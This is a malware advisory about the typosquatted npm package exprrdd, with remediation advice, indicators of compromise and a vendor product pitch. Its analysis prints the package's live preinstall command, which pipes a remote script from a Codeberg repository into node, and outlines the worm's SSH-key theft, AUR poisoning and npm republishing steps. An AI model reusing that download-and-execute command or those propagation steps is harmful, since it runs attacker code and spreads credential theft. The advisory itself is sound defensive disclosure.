Which versions of exprrdd are malicious?

The following npm versions of exprrdd are flagged malicious: 5.2.1, 5.2.2. Treat any of these as compromised.

How do I remediate exprrdd if I installed it?

exprrdd is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed exprrdd — how do I know if it already compromised me?

If exprrdd was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is exprrdd part of a known attack campaign?

Yes — exprrdd is associated with the IN-MAL-2026-020629, IN-MAL-2026-020880 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find exprrdd across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for exprrdd (2 malicious versions).

Malicious package

exprrddnpm

Advisory published Sep 29, 2026Updated Oct 5, 2026

exprrdd is a confirmed malicious npm package (MAL-2026-17244) that steals credentials and exfiltrates sensitive data (malicious versions 5.2.1, 5.2.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in exprrdd (npm)

MAL-2026-17244

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall exprrdd

What this malware does

The package exprrdd impersonates the legitimate 'express' package (it republishes express's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 5.2.1 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email [email protected]), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd.

On Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named "Font Rendering Service" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the key owner maintains. For each package.json on disk, it adds the same preinstall script, runs npm version patch, and runs npm publish with each .npmrc it finds.

Package 'exprrdd' copies express's metadata (name-lookalike, description, author, contributors, repository, keywords, dependencies) as cover for a preinstall dropper. package.json line 98 declares a preinstall script that runs curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js and pipes the response directly into node, executing attacker-controlled JavaScript on the installer's machine at npm install time. The fetched script is unpinned and mutable (a raw branch URL fronted by a web.archive.org rewrite), so whoever controls the codeberg.org/hellscripter repository gains arbitrary code execution on every host that installs this package. The typosquat name maximizes accidental installs by developers mistyping 'express'.

Malicious versions

2 flagged

5.2.15.2.2

Indicators of compromise (SHA-256)

bc1c956097cd13e80298a796a5026ebd91ece7c2ad53d226d3729f0b0b0ee9f3

ab1339e1e92019ee26bd6d9ddf7ad6536dea8226df3a6412fe2dcdcf37872872

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for exprrdd (2 malicious versions).
If you installed it — respond
exprrdd is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If exprrdd was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. exprrdd on npm has been identified as a malicious package (versions 5.2.1, 5.2.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020629IN-MAL-2026-020880

References

Credits

Amazon Inspector · finder
InvisiRisk, Inc. · finder
Pranesh, InvisiRisk · finder
SafeDep · finder

Detect & block this

O3 blocks exprrdd-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

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